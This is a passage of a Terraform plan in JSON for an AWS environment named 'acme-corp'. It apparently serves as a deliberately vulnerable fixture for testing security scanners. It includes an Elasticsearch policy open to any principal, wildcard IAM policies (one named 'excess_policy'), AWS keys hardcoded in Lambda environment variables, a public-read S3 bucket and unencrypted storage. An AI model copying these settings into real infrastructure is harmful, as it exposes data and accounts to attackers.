\"123456789123-acme-corp-repository\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-repository\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encryption_configuration\": [],\n          \"id\": true,\n          \"image_scanning_configuration\": [],\n          \"registry_id\": true,\n          \"repository_url\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_eks_cluster.eks_cluster\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_eks_cluster\",\n      \"name\": \"eks_cluster\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"enabled_cluster_log_types\": null,\n          \"encryption_config\": [],\n          \"name\": \"123456789123-acme-corp-eks\",\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_config\": [\n            {\n              \"endpoint_private_access\": true,\n              \"endpoint_public_access\": true,\n              \"security_group_ids\": null\n            }\n          ]\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"certificate_authority\": true,\n          \"created_at\": true,\n          \"encryption_config\": [],\n          \"endpoint\": true,\n          \"id\": true,\n          \"identity\": true,\n          \"platform_version\": true,\n          \"role_arn\": true,\n          \"status\": true,\n          \"version\": true,\n          \"vpc_config\": [\n            {\n              \"cluster_security_group_id\": true,\n              \"public_access_cidrs\": true,\n              \"subnet_ids\": true,\n              \"vpc_id\": true\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain\",\n      \"name\": \"monitoring-framework\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cluster_config\": [\n            {\n              \"dedicated_master_count\": null,\n              \"dedicated_master_enabled\": false,\n              \"dedicated_master_type\": null,\n              \"instance_count\": 1,\n              \"instance_type\": \"t2.small.elasticsearch\",\n              \"warm_count\": null,\n              \"warm_enabled\": null,\n              \"warm_type\": null,\n              \"zone_awareness_config\": [],\n              \"zone_awareness_enabled\": null\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_name\": \"tg-corp-es\",\n          \"ebs_options\": [\n            {\n              \"ebs_enabled\": true,\n              \"iops\": null,\n              \"volume_size\": 30\n            }\n          ],\n          \"elasticsearch_version\": \"2.3\",\n          \"log_publishing_options\": [],\n          \"snapshot_options\": [],\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_options\": []\n        },\n        \"after_unknown\": {\n          \"access_policies\": true,\n          \"advanced_options\": true,\n          \"advanced_security_options\": true,\n          \"arn\": true,\n          \"cluster_config\": [\n            {\n              \"zone_awareness_config\": []\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_endpoint_options\": true,\n          \"domain_id\": true,\n          \"ebs_options\": [\n            {\n              \"volume_type\": true\n            }\n          ],\n          \"encrypt_at_rest\": true,\n          \"endpoint\": true,\n          \"id\": true,\n          \"kibana_endpoint\": true,\n          \"log_publishing_options\": [],\n          \"node_to_node_encryption\": true,\n          \"snapshot_options\": [],\n          \"vpc_options\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain_policy\",\n      \"name\": \"monitoring-framework-policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"domain_name\": \"tg-corp-es\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elb.weblb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elb\",\n      \"name\": \"weblb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_logs\": [],\n          \"connection_draining\": true,\n          \"connection_draining_timeout\": 400,\n          \"cross_zone_load_balancing\": true,\n          \"health_check\": [\n            {\n              \"healthy_threshold\": 2,\n              \"interval\": 30,\n              \"target\": \"HTTP:8000/\",\n              \"timeout\": 3,\n              \"unhealthy_threshold\": 2\n            }\n          ],\n          \"idle_timeout\": 400,\n          \"listener\": [\n            {\n              \"instance_port\": 8000,\n              \"instance_protocol\": \"http\",\n              \"lb_port\": 80,\n              \"lb_protocol\": \"http\",\n              \"ssl_certificate_id\": \"\"\n            }\n          ],\n          \"name\": \"weblb-terraform-elb\",\n          \"name_prefix\": null,\n          \"tags\": {\n            \"Name\": \"foobar-terraform-elb\"\n          }\n        },\n        \"after_unknown\": {\n          \"access_logs\": [],\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"dns_name\": true,\n          \"health_check\": [\n            {}\n          ],\n          \"id\": true,\n          \"instances\": true,\n          \"internal\": true,\n          \"listener\": [\n            {}\n          ],\n          \"security_groups\": true,\n          \"source_security_group\": true,\n          \"source_security_group_id\": true,\n          \"subnets\": true,\n          \"tags\": {},\n          \"zone_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_flow_log.vpcflowlogs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_flow_log\",\n      \"name\": \"vpcflowlogs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"eni_id\": null,\n          \"iam_role_arn\": null,\n          \"log_destination_type\": \"s3\",\n          \"max_aggregation_interval\": 600,\n          \"subnet_id\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"traffic_type\": \"ALL\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"log_destination\": true,\n          \"log_format\": true,\n          \"log_group_name\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_access_key.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_access_key\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"pgp_key\": null,\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"encrypted_secret\": true,\n          \"id\": true,\n          \"key_fingerprint\": true,\n          \"secret\": true,\n          \"ses_smtp_password_v4\": true,\n          \"status\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_instance_profile.ec2profile\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_instance_profile\",\n      \"name\": \"ec2profile\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-profile\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"role\": \"123456789123-acme-corp-role\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.ec2role\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"ec2role\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-role\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-role\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_eks\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_eks\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-iam-for-eks\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-analysis-lambda\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy.ec2policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy\",\n      \"name\": \"ec2policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"role\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"force_destroy\": true,\n          \"name\": \"123456789123-acme-corp-user\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-user\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user_policy.userpolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user_policy\",\n      \"name\": \"userpolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"excess_policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.db_app\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"db_app\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-0f0a6d00932023856\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-dbapp\"\n          },\n          \"timeouts\": null,\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"user_data\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.web_host\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"web_host\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-09a5b0b7edf08843d\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": null,\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ec2\"\n          },\n          \"timeouts\": null,\n          \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_internet_gateway.web_igw\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_internet_gateway\",\n      \"name\": \"web_igw\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-igw\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_alias.logs_key_alias\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_alias\",\n      \"name\": \"logs_key_alias\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n          \"name_prefix\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"target_key_arn\": true,\n          \"target_key_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_key.logs_key\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_key\",\n      \"name\": \"logs_key\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n          \"deletion_window_in_days\": 7,\n          \"description\": \"123456789123-acme-corp-logs bucket key\",\n          \"enable_key_rotation\": false,\n          \"is_enabled\": true,\n          \"key_usage\": \"ENCRYPT_DECRYPT\",\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"key_id\": true,\n          \"policy\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_lambda_function.analysis_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_lambda_function\",\n      \"name\": \"analysis_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"dead_letter_config\": [],\n          \"description\": null,\n          \"environment\": [\n            {\n              \"variables\": {\n                \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n              }\n            }\n          ],\n          \"file_system_config\": [],\n          \"filename\": \"resources/lambda_function_payload.zip\",\n          \"function_name\": \"123456789123-acme-corp-analysis\",\n          \"handler\": \"exports.test\",\n          \"kms_key_arn\": null,\n          \"layers\": null,\n          \"memory_size\": 128,\n          \"publish\": false,\n          \"reserved_concurrent_executions\": -1,\n          \"runtime\": \"nodejs12.x\",\n          \"s3_bucket\": null,\n          \"s3_key\": null,\n          \"s3_object_version\": null,\n          \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n          \"tags\": null,\n          \"timeout\": 3,\n          \"timeouts\": null,\n          \"vpc_config\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"dead_letter_config\": [],\n          \"environment\": [\n            {\n              \"variables\": {}\n            }\n          ],\n          \"file_system_config\": [],\n          \"id\": true,\n          \"invoke_arn\": true,\n          \"last_modified\": true,\n          \"qualified_arn\": true,\n          \"role\": true,\n          \"source_code_size\": true,\n          \"tracing_config\": true,\n          \"version\": true,\n          \"vpc_config\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"backup_retention_period\": 5,\n          \"cluster_identifier\": \"neptunedb1\",\n          \"deletion_protection\": null,\n          \"enable_cloudwatch_logs_exports\": null,\n          \"engine\": \"neptune\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": false,\n          \"iam_roles\": null,\n          \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"preferred_backup_window\": \"07:00-09:00\",\n          \"replication_source_identifier\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"cluster_identifier_prefix\": true,\n          \"cluster_members\": true,\n          \"cluster_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_maintenance_window\": true,\n          \"reader_endpoint\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_instance.default[0]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_instance\",\n      \"name\": \"default\",\n      \"index\": 0,\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"engine\": \"neptune\",\n          \"instance_class\": \"db.t3.medium\",\n          \"neptune_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"promotion_tier\": 0,\n          \"publicly_accessible\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"cluster_identifier\": true,\n          \"dbi_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"identifier\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_backup_window\": true,\n          \"preferred_maintenance_window\": true,\n          \"storage_encrypted\": true,\n          \"writer\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_snapshot.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_snapshot\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allocated_storage\": true,\n          \"availability_zones\": true,\n          \"db_cluster_identifier\": true,\n          \"db_cluster_snapshot_arn\": true,\n          \"engine\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"port\": true,\n          \"snapshot_type\": true,\n          \"source_db_cluster_snapshot_arn\": true,\n          \"status\": true,\n          \"storage_encrypted\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_network_interface.web-eni\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_network_interface\",\n      \"name\": \"web-eni\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"private_ips\": [\n            \"172.16.10.100\"\n          ],\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n          }\n        },\n        \"after_unknown\": {\n          \"attachment\": true,\n          \"id\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"mac_address\": true,\n          \"outpost_arn\": true,\n          \"private_dns_name\": true,\n          \"private_ip\": true,\n          \"private_ips\": [\n            false\n          ],\n          \"private_ips_count\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route.public_internet_gateway\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route\",\n      \"name\": \"public_internet_gateway\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"destination_cidr_block\": \"0.0.0.0/0\",\n          \"destination_ipv6_cidr_block\": null,\n          \"timeouts\": {\n            \"create\": \"5m\",\n            \"delete\": null\n          },\n          \"transit_gateway_id\": null,\n          \"vpc_peering_connection_id\": null\n        },\n        \"after_unknown\": {\n          \"destination_prefix_list_id\": true,\n          \"egress_only_gateway_id\": true,\n          \"gateway_id\": true,\n          \"id\": true,\n          \"instance_id\": true,\n          \"instance_owner_id\": true,\n          \"local_gateway_id\": true,\n          \"nat_gateway_id\": true,\n          \"network_interface_id\": true,\n          \"origin\": true,\n          \"route_table_id\": true,\n          \"state\": true,\n          \"timeouts\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table.web_rtb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table\",\n      \"name\": \"web_rtb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-rtb\"\n          }\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"owner_id\": true,\n          \"propagating_vgws\": true,\n          \"route\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"public-read\",\n          \"bucket\": \"123456789123-acme-corp-data\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-data\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n        